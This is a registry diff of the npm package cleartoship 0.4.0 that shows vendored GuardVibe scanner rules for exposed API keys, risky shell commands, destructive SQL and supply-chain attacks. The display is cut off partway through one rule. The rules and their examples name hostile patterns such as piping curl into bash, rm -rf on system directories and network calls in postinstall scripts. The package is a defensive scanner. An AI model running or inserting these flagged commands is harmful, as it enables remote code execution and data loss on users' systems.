cleartoship 0.4.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (105) hide show
  1. package/LICENSE +21 -0
  2. package/README.md +264 -0
  3. package/action.yml +154 -0
  4. package/dist/banner.d.ts +1 -0
  5. package/dist/banner.js +14 -0
  6. package/dist/cli.d.ts +2 -0
  7. package/dist/cli.js +103 -0
  8. package/dist/data/popular.d.ts +17 -0
  9. package/dist/data/popular.js +103 -0
  10. package/dist/index.d.ts +5 -0
  11. package/dist/index.js +4 -0
  12. package/dist/report.d.ts +15 -0
  13. package/dist/report.js +317 -0
  14. package/dist/scan.d.ts +24 -0
  15. package/dist/scan.js +81 -0
  16. package/dist/scanners/community.d.ts +2 -0
  17. package/dist/scanners/community.js +155 -0
  18. package/dist/scanners/dependencies.d.ts +21 -0
  19. package/dist/scanners/dependencies.js +549 -0
  20. package/dist/scanners/index.d.ts +8 -0
  21. package/dist/scanners/index.js +13 -0
  22. package/dist/scanners/rls.d.ts +7 -0
  23. package/dist/scanners/rls.js +531 -0
  24. package/dist/scanners/secrets.d.ts +2 -0
  25. package/dist/scanners/secrets.js +439 -0
  26. package/dist/scanners/server-actions.d.ts +2 -0
  27. package/dist/scanners/server-actions.js +466 -0
  28. package/dist/types.d.ts +65 -0
  29. package/dist/types.js +10 -0
  30. package/dist/utils/ast.d.ts +13 -0
  31. package/dist/utils/ast.js +107 -0
  32. package/dist/utils/detect.d.ts +2 -0
  33. package/dist/utils/detect.js +77 -0
  34. package/dist/utils/entropy.d.ts +7 -0
  35. package/dist/utils/entropy.js +19 -0
  36. package/dist/utils/files.d.ts +13 -0
  37. package/dist/utils/files.js +154 -0
  38. package/dist/utils/osv.d.ts +26 -0
  39. package/dist/utils/osv.js +123 -0
  40. package/dist/utils/registry.d.ts +44 -0
  41. package/dist/utils/registry.js +195 -0
  42. package/dist/utils/sql.d.ts +20 -0
  43. package/dist/utils/sql.js +157 -0
  44. package/dist/utils/suppress.d.ts +19 -0
  45. package/dist/utils/suppress.js +56 -0
  46. package/dist/utils/traverse.d.ts +2 -0
  47. package/dist/utils/traverse.js +14 -0
  48. package/dist/vendor/gitleaks/rules.d.ts +13 -0
  49. package/dist/vendor/gitleaks/rules.js +1571 -0
  50. package/dist/vendor/guardvibe/index.d.ts +11 -0
  51. package/dist/vendor/guardvibe/index.js +60 -0
  52. package/dist/vendor/guardvibe/rules/advanced-security.d.ts +2 -0
  53. package/dist/vendor/guardvibe/rules/advanced-security.js +418 -0
  54. package/dist/vendor/guardvibe/rules/ai-host-security.d.ts +2 -0
  55. package/dist/vendor/guardvibe/rules/ai-host-security.js +190 -0
  56. package/dist/vendor/guardvibe/rules/ai-security.d.ts +2 -0
  57. package/dist/vendor/guardvibe/rules/ai-security.js +413 -0
  58. package/dist/vendor/guardvibe/rules/ai-tool-runtime.d.ts +2 -0
  59. package/dist/vendor/guardvibe/rules/ai-tool-runtime.js +194 -0
  60. package/dist/vendor/guardvibe/rules/api-security.d.ts +2 -0
  61. package/dist/vendor/guardvibe/rules/api-security.js +154 -0
  62. package/dist/vendor/guardvibe/rules/auth.d.ts +2 -0
  63. package/dist/vendor/guardvibe/rules/auth.js +222 -0
  64. package/dist/vendor/guardvibe/rules/cicd.d.ts +2 -0
  65. package/dist/vendor/guardvibe/rules/cicd.js +108 -0
  66. package/dist/vendor/guardvibe/rules/core.d.ts +2 -0
  67. package/dist/vendor/guardvibe/rules/core.js +484 -0
  68. package/dist/vendor/guardvibe/rules/cve-versions.d.ts +2 -0
  69. package/dist/vendor/guardvibe/rules/cve-versions.js +1130 -0
  70. package/dist/vendor/guardvibe/rules/database.d.ts +2 -0
  71. package/dist/vendor/guardvibe/rules/database.js +173 -0
  72. package/dist/vendor/guardvibe/rules/deployment.d.ts +2 -0
  73. package/dist/vendor/guardvibe/rules/deployment.js +269 -0
  74. package/dist/vendor/guardvibe/rules/dockerfile.d.ts +2 -0
  75. package/dist/vendor/guardvibe/rules/dockerfile.js +99 -0
  76. package/dist/vendor/guardvibe/rules/firebase.d.ts +2 -0
  77. package/dist/vendor/guardvibe/rules/firebase.js +96 -0
  78. package/dist/vendor/guardvibe/rules/go.d.ts +2 -0
  79. package/dist/vendor/guardvibe/rules/go.js +85 -0
  80. package/dist/vendor/guardvibe/rules/modern-stack.d.ts +2 -0
  81. package/dist/vendor/guardvibe/rules/modern-stack.js +631 -0
  82. package/dist/vendor/guardvibe/rules/nextjs.d.ts +2 -0
  83. package/dist/vendor/guardvibe/rules/nextjs.js +233 -0
  84. package/dist/vendor/guardvibe/rules/other-services.d.ts +2 -0
  85. package/dist/vendor/guardvibe/rules/other-services.js +72 -0
  86. package/dist/vendor/guardvibe/rules/payments.d.ts +2 -0
  87. package/dist/vendor/guardvibe/rules/payments.js +123 -0
  88. package/dist/vendor/guardvibe/rules/react-native.d.ts +2 -0
  89. package/dist/vendor/guardvibe/rules/react-native.js +132 -0
  90. package/dist/vendor/guardvibe/rules/services.d.ts +2 -0
  91. package/dist/vendor/guardvibe/rules/services.js +149 -0
  92. package/dist/vendor/guardvibe/rules/shell.d.ts +2 -0
  93. package/dist/vendor/guardvibe/rules/shell.js +72 -0
  94. package/dist/vendor/guardvibe/rules/sql.d.ts +2 -0
  95. package/dist/vendor/guardvibe/rules/sql.js +60 -0
  96. package/dist/vendor/guardvibe/rules/supply-chain.d.ts +2 -0
  97. package/dist/vendor/guardvibe/rules/supply-chain.js +243 -0
  98. package/dist/vendor/guardvibe/rules/terraform.d.ts +2 -0
  99. package/dist/vendor/guardvibe/rules/terraform.js +84 -0
  100. package/dist/vendor/guardvibe/rules/types.d.ts +14 -0
  101. package/dist/vendor/guardvibe/rules/types.js +11 -0
  102. package/dist/vendor/guardvibe/rules/web-security.d.ts +2 -0
  103. package/dist/vendor/guardvibe/rules/web-security.js +258 -0
  104. package/examples/security.yml +23 -0
  105. package/package.json +70 -0
@@ -0,0 +1,149 @@
1
+ /*
2
+ * Vendored from GuardVibe — https://github.com/goklab/guardvibe
3
+ * Copyright 2026 GokLab. Licensed under the Apache License, Version 2.0.
4
+ * Full licence: LICENSES/guardvibe-Apache-2.0.txt
5
+ *
6
+ * Modifications by ClearToShip: import paths rewritten for this package
7
+ * layout. Rule content is unchanged; rules that duplicate ClearToShip's own
8
+ * AST checks are disabled at runtime in src/scanners/community.ts rather
9
+ * than deleted here, so this file stays a faithful copy of upstream.
10
+ */
11
+ export const serviceRules = [
12
+ // Resend Email
13
+ {
14
+ id: "VG620",
15
+ name: "Resend API Key Client Exposure",
16
+ severity: "critical",
17
+ owasp: "A07:2025 Sensitive Data Exposure",
18
+ description: "Resend API key exposed in client-side code. This allows anyone to send emails from your account.",
19
+ pattern: /["']use client["'][\s\S]{0,500}?(?:RESEND_API_KEY|re_[A-Za-z0-9]{20,})/g,
20
+ languages: ["javascript", "typescript"],
21
+ fix: "Use Resend API key only in server-side code (API routes or Server Actions).",
22
+ fixCode: '"use server";\nimport { Resend } from "resend";\nconst resend = new Resend(process.env.RESEND_API_KEY);',
23
+ compliance: ["SOC2:CC6.1"],
24
+ },
25
+ {
26
+ id: "VG621",
27
+ name: "Hardcoded Resend API Key",
28
+ severity: "critical",
29
+ owasp: "A07:2025 Sensitive Data Exposure",
30
+ description: "Resend API key hardcoded in source code.",
31
+ pattern: /(?:Resend|resend)\s*\(\s*["']re_[A-Za-z0-9]{10,}["']/g,
32
+ languages: ["javascript", "typescript"],
33
+ fix: "Use environment variable for Resend API key.",
34
+ fixCode: 'const resend = new Resend(process.env.RESEND_API_KEY);',
35
+ compliance: ["SOC2:CC6.1"],
36
+ },
37
+ {
38
+ id: "VG622",
39
+ name: "Email Content Injection",
40
+ severity: "high",
41
+ owasp: "A03:2025 Injection",
42
+ description: "User input directly used in email headers (to, from, subject, cc, bcc) without validation. Can be used for email injection/spam.",
43
+ pattern: /(?:resend|sendgrid|nodemailer)[\s\S]{0,300}?(?:to|from|cc|bcc|subject)\s*:\s*(?:req\.body|request\.body|body\.|formData\.get|params\.)/gi,
44
+ languages: ["javascript", "typescript"],
45
+ fix: "Validate and sanitize all email fields. Use allowlists for recipient addresses when possible.",
46
+ fixCode: '// Validate email before sending\nimport { z } from "zod";\nconst schema = z.object({ to: z.string().email(), subject: z.string().max(200) });\nconst data = schema.parse(input);',
47
+ compliance: ["SOC2:CC7.1"],
48
+ },
49
+ // Upstash Redis
50
+ {
51
+ id: "VG625",
52
+ name: "Upstash Redis URL Client Exposure",
53
+ severity: "critical",
54
+ owasp: "A07:2025 Sensitive Data Exposure",
55
+ description: "Upstash Redis REST URL or token exposed in client-side code. This gives full access to your Redis database.",
56
+ pattern: /["']use client["'][\s\S]{0,500}?(?:UPSTASH_REDIS_REST_URL|UPSTASH_REDIS_REST_TOKEN|KV_REST_API_URL|KV_REST_API_TOKEN)/g,
57
+ languages: ["javascript", "typescript"],
58
+ fix: "Use Upstash Redis only in server-side code.",
59
+ fixCode: '// Server-side only\nimport { Redis } from "@upstash/redis";\nconst redis = Redis.fromEnv(); // reads from env automatically',
60
+ compliance: ["SOC2:CC6.1"],
61
+ },
62
+ {
63
+ id: "VG626",
64
+ name: "Hardcoded Redis Connection String",
65
+ severity: "critical",
66
+ owasp: "A07:2025 Sensitive Data Exposure",
67
+ description: "Redis connection URL or token hardcoded in source code.",
68
+ pattern: /(?:redis|Redis|upstash)[\s\S]{0,100}?(?:url|token)\s*[:=]\s*["'](?:https?:\/\/|redis:\/\/|rediss:\/\/)[^"']{10,}["']/gi,
69
+ languages: ["javascript", "typescript"],
70
+ fix: "Use environment variables for Redis connection details.",
71
+ fixCode: '// Use environment variables\nimport { Redis } from "@upstash/redis";\nconst redis = new Redis({\n url: process.env.UPSTASH_REDIS_REST_URL!,\n token: process.env.UPSTASH_REDIS_REST_TOKEN!,\n});',
72
+ compliance: ["SOC2:CC6.1"],
73
+ },
74
+ {
75
+ id: "VG627",
76
+ name: "NEXT_PUBLIC Redis Credentials",
77
+ severity: "critical",
78
+ owasp: "A07:2025 Sensitive Data Exposure",
79
+ description: "Redis credentials exposed via NEXT_PUBLIC_ prefix.",
80
+ pattern: /NEXT_PUBLIC_\w*(?:REDIS|UPSTASH|KV)\w*(?:URL|TOKEN|SECRET)\s*=/gi,
81
+ languages: ["javascript", "typescript", "shell"],
82
+ fix: "Remove NEXT_PUBLIC_ prefix from Redis credentials. Access them only server-side.",
83
+ fixCode: "# .env.local — WRONG\n# NEXT_PUBLIC_UPSTASH_REDIS_REST_URL=https://...\n\n# CORRECT — server-side only\nUPSTASH_REDIS_REST_URL=https://...\nUPSTASH_REDIS_REST_TOKEN=...",
84
+ compliance: ["SOC2:CC6.1"],
85
+ },
86
+ // Pinecone
87
+ {
88
+ id: "VG630",
89
+ name: "Pinecone API Key Client Exposure",
90
+ severity: "critical",
91
+ owasp: "A07:2025 Sensitive Data Exposure",
92
+ description: "Pinecone API key exposed in client-side code. This gives full access to your vector database.",
93
+ pattern: /["']use client["'][\s\S]{0,500}?PINECONE_API_KEY/g,
94
+ languages: ["javascript", "typescript"],
95
+ fix: "Use Pinecone API key only in server-side code.",
96
+ fixCode: '// Server-side only\nimport { Pinecone } from "@pinecone-database/pinecone";\nconst pc = new Pinecone({ apiKey: process.env.PINECONE_API_KEY! });',
97
+ compliance: ["SOC2:CC6.1"],
98
+ },
99
+ {
100
+ id: "VG631",
101
+ name: "NEXT_PUBLIC Pinecone Key",
102
+ severity: "critical",
103
+ owasp: "A07:2025 Sensitive Data Exposure",
104
+ description: "Pinecone API key exposed via NEXT_PUBLIC_ prefix.",
105
+ pattern: /NEXT_PUBLIC_\w*PINECONE\w*(?:KEY|SECRET|TOKEN)\s*=/gi,
106
+ languages: ["javascript", "typescript", "shell"],
107
+ fix: "Remove NEXT_PUBLIC_ prefix. Pinecone keys must be server-side only.",
108
+ fixCode: "# .env.local — WRONG\n# NEXT_PUBLIC_PINECONE_API_KEY=pc-xxx\n\n# CORRECT\nPINECONE_API_KEY=pc-xxx",
109
+ compliance: ["SOC2:CC6.1"],
110
+ },
111
+ // PostHog
112
+ {
113
+ id: "VG635",
114
+ name: "PostHog Secret API Key Exposure",
115
+ severity: "critical",
116
+ owasp: "A07:2025 Sensitive Data Exposure",
117
+ description: "PostHog personal/secret API key exposed in client-side code. The project API key is safe to expose, but personal API keys grant full access.",
118
+ pattern: /["']use client["'][\s\S]{0,500}?(?:POSTHOG_PERSONAL_API_KEY|phx_[A-Za-z0-9]{20,})/g,
119
+ languages: ["javascript", "typescript"],
120
+ fix: "Only the PostHog project API key (phc_) should be in client code. Personal API keys (phx_) must be server-side only.",
121
+ fixCode: "# Safe to expose (project key)\nNEXT_PUBLIC_POSTHOG_KEY=phc_xxx\n\n# Server-side only (personal key)\nPOSTHOG_PERSONAL_API_KEY=phx_xxx",
122
+ compliance: ["SOC2:CC6.1"],
123
+ },
124
+ {
125
+ id: "VG636",
126
+ name: "Analytics PII Data Exposure",
127
+ severity: "high",
128
+ owasp: "A07:2025 Sensitive Data Exposure",
129
+ description: "Personally identifiable information (email, phone, SSN, credit card) sent to analytics. This violates GDPR/CCPA and platform terms.",
130
+ pattern: /(?:posthog|analytics|gtag|ga)\s*[\.\(][\s\S]{0,200}?(?:capture|track|identify|event|send)\s*\([\s\S]{0,300}?(?:email|phone|ssn|creditCard|password|socialSecurity)/gi,
131
+ languages: ["javascript", "typescript"],
132
+ fix: "Never send PII to analytics. Hash or anonymize user identifiers.",
133
+ fixCode: "// Anonymize before tracking\nposthog.identify(hashedUserId); // not email\nposthog.capture('purchase', { plan: 'pro', amount: 29 }); // no PII",
134
+ compliance: ["SOC2:CC6.1", "HIPAA:§164.312(a)"],
135
+ },
136
+ // Google Analytics
137
+ {
138
+ id: "VG637",
139
+ name: "Google Analytics PII Tracking",
140
+ severity: "high",
141
+ owasp: "A07:2025 Sensitive Data Exposure",
142
+ description: "PII data sent to Google Analytics. This violates Google's ToS and privacy regulations.",
143
+ pattern: /(?:gtag|ga|dataLayer\.push)\s*\([\s\S]{0,300}?(?:email|user_email|phone|ssn|password)/gi,
144
+ languages: ["javascript", "typescript"],
145
+ fix: "Never send PII to Google Analytics. Use anonymous IDs.",
146
+ fixCode: "// Use anonymous IDs, never PII\ngtag('event', 'purchase', {\n user_id: hashedUserId, // hashed, not email\n value: 29.99,\n currency: 'USD',\n});",
147
+ compliance: ["SOC2:CC6.1"],
148
+ },
149
+ ];
@@ -0,0 +1,2 @@
1
+ import type { SecurityRule } from "./types.js";
2
+ export declare const shellRules: SecurityRule[];
@@ -0,0 +1,72 @@
1
+ /*
2
+ * Vendored from GuardVibe — https://github.com/goklab/guardvibe
3
+ * Copyright 2026 GokLab. Licensed under the Apache License, Version 2.0.
4
+ * Full licence: LICENSES/guardvibe-Apache-2.0.txt
5
+ *
6
+ * Modifications by ClearToShip: import paths rewritten for this package
7
+ * layout. Rule content is unchanged; rules that duplicate ClearToShip's own
8
+ * AST checks are disabled at runtime in src/scanners/community.ts rather
9
+ * than deleted here, so this file stays a faithful copy of upstream.
10
+ */
11
+ export const shellRules = [
12
+ {
13
+ id: "VG530",
14
+ name: "Pipe to shell execution",
15
+ severity: "critical",
16
+ owasp: "A02:2025 Injection",
17
+ description: "Piping downloaded content directly to a shell interpreter (curl|bash, wget|sh) executes arbitrary remote code without inspection.",
18
+ pattern: /(?:curl|wget)\s+[^|]*\|\s*(?:bash|sh|zsh|ksh|dash|source\s+\/dev\/stdin)|base64\s+(?:-d|--decode)\s+[^|]*\|\s*(?:bash|sh)/gi,
19
+ languages: ["shell"],
20
+ fix: "Download the script first, inspect it, then execute: curl -o script.sh URL && chmod +x script.sh && ./script.sh",
21
+ fixCode: "# Download first, inspect, then run\ncurl -fsSL https://example.com/install.sh -o install.sh\ncat install.sh # inspect it\nchmod +x install.sh\n./install.sh",
22
+ compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.5.1"],
23
+ },
24
+ {
25
+ id: "VG531",
26
+ name: "Dangerous file permissions",
27
+ severity: "high",
28
+ owasp: "A01:2025 Broken Access Control",
29
+ description: "chmod 777 or overly permissive permissions (o+w) make files world-writable, creating a security risk.",
30
+ pattern: /chmod\s+(?:777|666|a\+w|o\+w)\s+/gi,
31
+ languages: ["shell"],
32
+ fix: "Use least-privilege permissions. Typical: 755 for executables, 644 for files, 700 for private dirs.",
33
+ fixCode: "# Use restrictive permissions\nchmod 755 script.sh # owner rwx, others rx\nchmod 644 config.txt # owner rw, others r\nchmod 700 ~/.ssh # owner only",
34
+ compliance: ["SOC2:CC6.1", "PCI-DSS:Req7"],
35
+ },
36
+ {
37
+ id: "VG502",
38
+ name: "Destructive rm command",
39
+ severity: "critical",
40
+ owasp: "A05:2025 Security Misconfiguration",
41
+ description: "rm -rf on root or system directories can destroy the entire filesystem.",
42
+ pattern: /rm\s+-[a-zA-Z]*r[a-zA-Z]*f[a-zA-Z]*\s+(?:\/\s|\/\*|\/etc|\/usr|\/var|\/home|\/boot|\/sys|\/proc|\$\{?\w*\}?\s*\/)/gi,
43
+ languages: ["shell"],
44
+ fix: "Never rm -rf system directories. Use safeguards: check variables are non-empty before deletion.",
45
+ fixCode: '# Always guard rm -rf with variable checks\nif [ -n "$DIR" ] && [ "$DIR" != "/" ]; then\n rm -rf "$DIR"\nfi\n\n# Or use safe-rm: apt install safe-rm',
46
+ compliance: ["SOC2:CC7.1"],
47
+ },
48
+ {
49
+ id: "VG533",
50
+ name: "Password in command line",
51
+ severity: "critical",
52
+ owasp: "A07:2025 Auth Failures",
53
+ description: "Passing passwords via echo/pipe to sudo or as command-line arguments exposes them in process lists and shell history.",
54
+ pattern: /(?:echo\s+['"]?[^'"|\n]+['"]?\s*\|\s*sudo\s+-[Ss]|(?:mysql|psql|mongosh?)\s+.*-p\s*['"]?\w+['"]?)/gi,
55
+ languages: ["shell"],
56
+ fix: "Use SSH keys, sudo NOPASSWD for CI, or credential files instead of inline passwords.",
57
+ fixCode: "# Use sudoers NOPASSWD for CI\n# visudo: user ALL=(ALL) NOPASSWD: /usr/bin/apt\n\n# Use .pgpass for PostgreSQL\necho 'host:5432:db:user:pass' > ~/.pgpass\nchmod 600 ~/.pgpass\n\n# Use mysql_config_editor for MySQL\nmysql_config_editor set --login-path=local --password",
58
+ compliance: ["SOC2:CC6.1", "PCI-DSS:Req8", "HIPAA:§164.312(a)"],
59
+ },
60
+ {
61
+ id: "VG534",
62
+ name: "Unsafe eval/exec in shell",
63
+ severity: "high",
64
+ owasp: "A02:2025 Injection",
65
+ description: "Using eval with variables in shell scripts can lead to code injection if the variable contains malicious input.",
66
+ pattern: /\beval\s+['"]?\$[\{(]?\w+/gi,
67
+ languages: ["shell"],
68
+ fix: "Avoid eval with variables. Use arrays or direct execution instead.",
69
+ fixCode: '# Instead of: eval "$cmd"\n# Use arrays:\ncmd=(ls -la /tmp)\n"${cmd[@]}"\n\n# Or case-based dispatch:\ncase "$action" in\n start) start_service ;;\n stop) stop_service ;;\nesac',
70
+ compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.5.1"],
71
+ },
72
+ ];
@@ -0,0 +1,2 @@
1
+ import type { SecurityRule } from "./types.js";
2
+ export declare const sqlRules: SecurityRule[];
@@ -0,0 +1,60 @@
1
+ /*
2
+ * Vendored from GuardVibe — https://github.com/goklab/guardvibe
3
+ * Copyright 2026 GokLab. Licensed under the Apache License, Version 2.0.
4
+ * Full licence: LICENSES/guardvibe-Apache-2.0.txt
5
+ *
6
+ * Modifications by ClearToShip: import paths rewritten for this package
7
+ * layout. Rule content is unchanged; rules that duplicate ClearToShip's own
8
+ * AST checks are disabled at runtime in src/scanners/community.ts rather
9
+ * than deleted here, so this file stays a faithful copy of upstream.
10
+ */
11
+ export const sqlRules = [
12
+ {
13
+ id: "VG540",
14
+ name: "Destructive DDL statement",
15
+ severity: "critical",
16
+ owasp: "A01:2025 Broken Access Control",
17
+ description: "DROP TABLE/DATABASE in SQL can permanently destroy data. Ensure this is intentional and authorized.",
18
+ pattern: /\b(?:DROP\s+(?:TABLE|DATABASE|SCHEMA|INDEX|VIEW)\s+(?:IF\s+EXISTS\s+)?)/gi,
19
+ languages: ["sql"],
20
+ fix: "Use migrations for schema changes. Restrict DROP privileges to admin roles only. Always backup before destructive DDL.",
21
+ fixCode: "-- Use migrations instead of raw DROP\n-- In a migration file:\nALTER TABLE users RENAME TO users_backup;\n\n-- Restrict privileges\nREVOKE DROP ON SCHEMA public FROM app_user;",
22
+ compliance: ["SOC2:CC6.1", "PCI-DSS:Req7"],
23
+ },
24
+ {
25
+ id: "VG541",
26
+ name: "Dangerous GRANT statement",
27
+ severity: "critical",
28
+ owasp: "A01:2025 Broken Access Control",
29
+ description: "GRANT ALL PRIVILEGES or GRANT with wildcard grants excessive permissions. Follow the principle of least privilege.",
30
+ pattern: /\bGRANT\s+ALL\s+(?:PRIVILEGES\s+)?ON\s+/gi,
31
+ languages: ["sql"],
32
+ fix: "Grant only the specific privileges needed: GRANT SELECT, INSERT ON table TO role.",
33
+ fixCode: "-- Least privilege: grant only what's needed\nGRANT SELECT, INSERT ON users TO app_role;\n\n-- Never: GRANT ALL PRIVILEGES ON *.* TO 'user'@'%';",
34
+ compliance: ["SOC2:CC6.1", "PCI-DSS:Req7", "HIPAA:§164.312(a)"],
35
+ },
36
+ {
37
+ id: "VG542",
38
+ name: "DELETE/UPDATE without WHERE",
39
+ severity: "high",
40
+ owasp: "A01:2025 Broken Access Control",
41
+ description: "DELETE or UPDATE without a WHERE clause affects all rows in the table, which is almost always unintentional.",
42
+ pattern: /\b(?:DELETE\s+FROM\s+\w+\s*;|UPDATE\s+\w+\s+SET\s+(?:(?!WHERE)[^;])*;)/gi,
43
+ languages: ["sql"],
44
+ fix: "Always include a WHERE clause. For bulk operations, use explicit WHERE 1=1 to show intent.",
45
+ fixCode: "-- Always include WHERE\nDELETE FROM sessions WHERE expired_at < NOW();\n\n-- If you really want all rows, be explicit\nDELETE FROM temp_data WHERE 1=1; -- explicit intent",
46
+ compliance: ["SOC2:CC7.1"],
47
+ },
48
+ {
49
+ id: "VG543",
50
+ name: "SQL comment injection / stacked queries",
51
+ severity: "high",
52
+ owasp: "A02:2025 Injection",
53
+ description: "SQL comment markers (--) or stacked queries (;) combined with suspicious keywords suggest SQL injection payload.",
54
+ pattern: /;\s*(?:DROP|DELETE|INSERT|UPDATE|ALTER|GRANT|REVOKE|EXEC|EXECUTE|UNION)\b/gi,
55
+ languages: ["sql"],
56
+ fix: "Use parameterized queries. Never concatenate user input into SQL. Use an ORM where possible.",
57
+ fixCode: "-- Use parameterized queries in application code\n-- Node.js: db.query('SELECT * FROM users WHERE id = $1', [id])\n-- Python: cursor.execute('SELECT * FROM users WHERE id = %s', (id,))",
58
+ compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.5.1"],
59
+ },
60
+ ];
@@ -0,0 +1,2 @@
1
+ import type { SecurityRule } from "./types.js";
2
+ export declare const supplyChainRules: SecurityRule[];
@@ -0,0 +1,243 @@
1
+ /*
2
+ * Vendored from GuardVibe — https://github.com/goklab/guardvibe
3
+ * Copyright 2026 GokLab. Licensed under the Apache License, Version 2.0.
4
+ * Full licence: LICENSES/guardvibe-Apache-2.0.txt
5
+ *
6
+ * Modifications by ClearToShip: import paths rewritten for this package
7
+ * layout. Rule content is unchanged; rules that duplicate ClearToShip's own
8
+ * AST checks are disabled at runtime in src/scanners/community.ts rather
9
+ * than deleted here, so this file stays a faithful copy of upstream.
10
+ */
11
+ // Supply chain and package security rules
12
+ export const supplyChainRules = [
13
+ {
14
+ id: "VG860",
15
+ name: "Malicious postinstall Script",
16
+ severity: "critical",
17
+ owasp: "A03:2025 Software Supply Chain Failures",
18
+ description: "postinstall or preinstall script contains network requests, eval, or exec. This is the #1 npm supply chain attack vector.",
19
+ pattern: /["'](?:post|pre)install["']\s*:\s*["'][^"']*(?:curl|wget|http|https|eval|exec|node\s+-e|sh\s+-c|bash\s+-c)/gi,
20
+ languages: ["json"],
21
+ fix: "Review postinstall scripts carefully. Remove or replace packages with suspicious install scripts.",
22
+ fixCode: '// Safe: no network/exec in install scripts\n"scripts": {\n "postinstall": "prisma generate"\n}\n\n// DANGEROUS: network calls in install\n// "postinstall": "node -e \\"require(\'https\').get(...)\\""',
23
+ compliance: ["SOC2:CC7.1"],
24
+ },
25
+ {
26
+ id: "VG861",
27
+ name: "GitHub Actions persist-credentials Not Disabled",
28
+ severity: "medium",
29
+ owasp: "A01:2025 Broken Access Control",
30
+ description: "actions/checkout with persist-credentials enabled (default: true) leaves Git credentials on the runner. Third-party actions in later steps can push to your repository.",
31
+ pattern: /uses:\s*actions\/checkout@[\s\S]{0,200}?uses:\s*(?!actions\/)[^\s]+@/g,
32
+ languages: ["yaml"],
33
+ fix: "Add persist-credentials: false to actions/checkout when using third-party actions.",
34
+ fixCode: "- uses: actions/checkout@v4\n with:\n persist-credentials: false",
35
+ compliance: ["SOC2:CC6.1"],
36
+ },
37
+ {
38
+ id: "VG862",
39
+ name: "Source Map Publish Risk",
40
+ severity: "critical",
41
+ owasp: "A05:2021 Security Misconfiguration",
42
+ description: 'Source map files (.map) expose original source code when published to npm. Anthropic\'s Claude Code source leak (March 2026) was caused by this exact misconfiguration. If tsconfig enables sourceMap and the package lacks .npmignore exclusions, your entire codebase ships to the registry.',
43
+ pattern: /"sourceMap"\s*:\s*true/g,
44
+ languages: ["json"],
45
+ fix: 'Set "sourceMap": false in tsconfig.json for production builds, or add *.map to .npmignore to prevent source maps from being published.',
46
+ fixCode: '// tsconfig.json — disable source maps for published packages\n{\n "compilerOptions": {\n "sourceMap": false,\n "declarationMap": false\n }\n}\n\n// Or add to .npmignore:\n// *.map',
47
+ compliance: ["SOC2:CC6.1", "PCI-DSS:Req6.5.10"],
48
+ },
49
+ {
50
+ id: "VG863",
51
+ name: 'package.json Missing "files" Field',
52
+ severity: "high",
53
+ owasp: "A05:2021 Security Misconfiguration",
54
+ description: 'A publishable npm package without a "files" field in package.json publishes the entire project directory — including src/, .env, test fixtures, and internal configs. Always use "files" to whitelist only build output.',
55
+ pattern: /"version"\s*:\s*"[^"]*"(?![\s\S]*"files"\s*:)(?![\s\S]*"private"\s*:\s*true)/g,
56
+ languages: ["json"],
57
+ fix: 'Add a "files" field to package.json listing only the directories and files needed by consumers (e.g., dist/, build/).',
58
+ fixCode: '// package.json — whitelist published files\n{\n "name": "my-package",\n "version": "1.0.0",\n "files": [\n "dist",\n "build",\n "README.md"\n ]\n}',
59
+ compliance: ["SOC2:CC6.1"],
60
+ },
61
+ {
62
+ id: "VG864",
63
+ name: '"files" Field Includes Source Code',
64
+ severity: "high",
65
+ owasp: "A05:2021 Security Misconfiguration",
66
+ description: 'The "files" field in package.json includes source directories ("src", ".", or "**"). This publishes raw source code to npm, defeating the purpose of the whitelist. Only compiled output should be listed.',
67
+ pattern: /"files"\s*:\s*\[[^\]]*(?:"src"|"\.\/?"|"\*\*")[^\]]*\]/g,
68
+ languages: ["json"],
69
+ fix: 'Remove "src", ".", and "**" from the "files" array. Only include compiled output directories like "dist" or "build".',
70
+ fixCode: '// BAD — leaks source code\n// "files": ["src", "dist"]\n\n// GOOD — only build output\n{\n "files": [\n "dist",\n "build"\n ]\n}',
71
+ compliance: ["SOC2:CC6.1", "PCI-DSS:Req6.5.10"],
72
+ },
73
+ {
74
+ id: "VG865",
75
+ name: ".npmignore Missing Sensitive File Patterns",
76
+ severity: "medium",
77
+ owasp: "A05:2021 Security Misconfiguration",
78
+ description: ".npmignore exists but does not exclude common sensitive files (*.map, .env, src/). Without these exclusions, source maps, environment secrets, and raw source code can leak into the published package.",
79
+ pattern: /^(?![\s\S]*\*\.map)(?![\s\S]*\.env)(?![\s\S]*src\/).+/gm,
80
+ languages: ["shell"],
81
+ fix: "Add *.map, .env*, src/, and tests/ to .npmignore to prevent accidental publish of sensitive files.",
82
+ fixCode: "# .npmignore — exclude sensitive files from npm publish\n*.map\n.env\n.env.*\nsrc/\ntests/\n__tests__/\n*.test.*\n*.spec.*\ntsconfig*.json\n.github/",
83
+ compliance: ["SOC2:CC6.1"],
84
+ },
85
+ {
86
+ id: "VG866",
87
+ name: "Invisible Unicode Characters in Source Code",
88
+ severity: "critical",
89
+ owasp: "A02:2025 Injection",
90
+ description: "Source code contains invisible Unicode characters (zero-width spaces, variation selectors, PUA codepoints). The GlassWorm attack (2025-2026) used these to encode malicious payloads that are invisible in every code editor, compromising 433+ repositories across GitHub, npm, and VSCode.",
91
+ pattern: /[\u200B\u200C\u200D\uFEFF\u2060\u2061\u2062\u2063\u2064]{2,}/g,
92
+ languages: ["javascript", "typescript", "python", "go"],
93
+ fix: "Remove all invisible Unicode characters from source code. Use a linter rule to prevent them.",
94
+ fixCode: '// Detect invisible characters with a pre-commit hook:\n// grep -rP "[\\x{200B}\\x{200C}\\x{200D}\\x{FEFF}\\x{00AD}\\x{FE00}-\\x{FE0F}]" src/\n\n// Or add an ESLint rule:\n// "no-irregular-whitespace": "error"',
95
+ compliance: ["SOC2:CC7.1"],
96
+ },
97
+ {
98
+ id: "VG867",
99
+ name: "Obfuscated Payload in Install Script",
100
+ severity: "critical",
101
+ owasp: "A03:2025 Software Supply Chain Failures",
102
+ description: "Install script contains Base64 decoding, hex escape sequences, or Buffer.from() — common obfuscation techniques used in npm supply chain attacks (Shai-Hulud, SANDWORM_MODE). Legitimate packages rarely need encoded payloads in lifecycle scripts.",
103
+ pattern: /["'](?:post|pre)install["']\s*:\s*["'][^"']*(?:Buffer\.from|atob|btoa|\\x[0-9a-f]{2}|fromCharCode|String\.raw|decode\s*\()/gi,
104
+ languages: ["json"],
105
